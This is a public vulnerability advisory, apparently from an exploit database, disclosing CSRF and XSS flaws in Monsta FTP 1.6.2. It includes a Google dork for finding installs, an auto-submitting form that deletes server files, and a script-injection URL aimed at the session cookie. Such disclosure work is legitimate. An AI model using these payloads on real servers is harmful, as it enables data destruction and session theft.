1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
# Exploit Title: CSRF XSS Monsta FTP # Google Dork: intitle: Monsta FTP CSRF / XSS # Date: 2015-09-11 # Exploit Author: hyp3rlinx # Website: hyp3rlinx.altervista.org # Vendor Homepage: www.monstaftp.com # Software Link:www.monstaftp.com # Version: monsta_ftp_v1.6.2 # Tested on: windows 7 SP1 XAMPP # Category: WebApps Vendor: ================================ www.monstaftp.com Product: ================================ monsta_ftp_v1.6.2 Monsta FTP is open source PHP/Ajax cloudware browser based FTP file management web application. Vulnerability Type: =================== CSRF / XSS CVE Reference: ============== N/A Vulnerability Details: ===================== CSRF: ----- No CSRF token exists when making some POST requests, allowing arbitrary deletion of files on the monstaftp server dirs. XSS: ---- Monstaftp sanitizes most $_GET requests with call to sanitizeStr() e.g --> echo sanitizeStr($ftp_host), However we find vulnerable code that is not santized on line 494 of index.php --->echo $_GET["openFolder"]; creating an XSS entry point and will execute when victim accesses the Monstaftp login page before logging in. Exploit code(s): =============== 1) CSRF delete all server files <body onLoad="doit()"> <script> function doit(){ var e=document.getElementById('HELL') e.submit() } <form id="HELL"action="http://localhost/monsta_ftp_v1.6.2_install/?" method="post"> <input type="text" id="ftpAction"name="ftpAction" value="delete"/> <input type="text" id="folderAction[]"name="folderAction[]" value=""/> <input type="text" id="fileAction[]"name="fileAction[]" value="~%2FSOMEFILES_TO_DELETE.php"/> </form> 2) XSS steal PHP session ID: e.g. "PHPSESSID=7lukgqaghuqihnbj3ikcrsc715" Logout, then access the following URL before login and BOOOOOOM!. http://localhost/monsta_ftp_v1.6.2_install/?openFolder="/><script>alert('XSS by hyp3rlinx '%2bdocument.cookie)</script> Disclosure Timeline: ========================================================= Vendor Notification:NA Sept 11, 2015: Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ========================================================= Med Description: ========================================================== Request Method(s):[+]POST & GET Vulnerable Product: [+]monsta_ftp_v1.6.2 Vulnerable Parameter(s):[+] ftpAction, fileAction[], openFolder Affected Area(s): [+] FTP Admin Area =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx |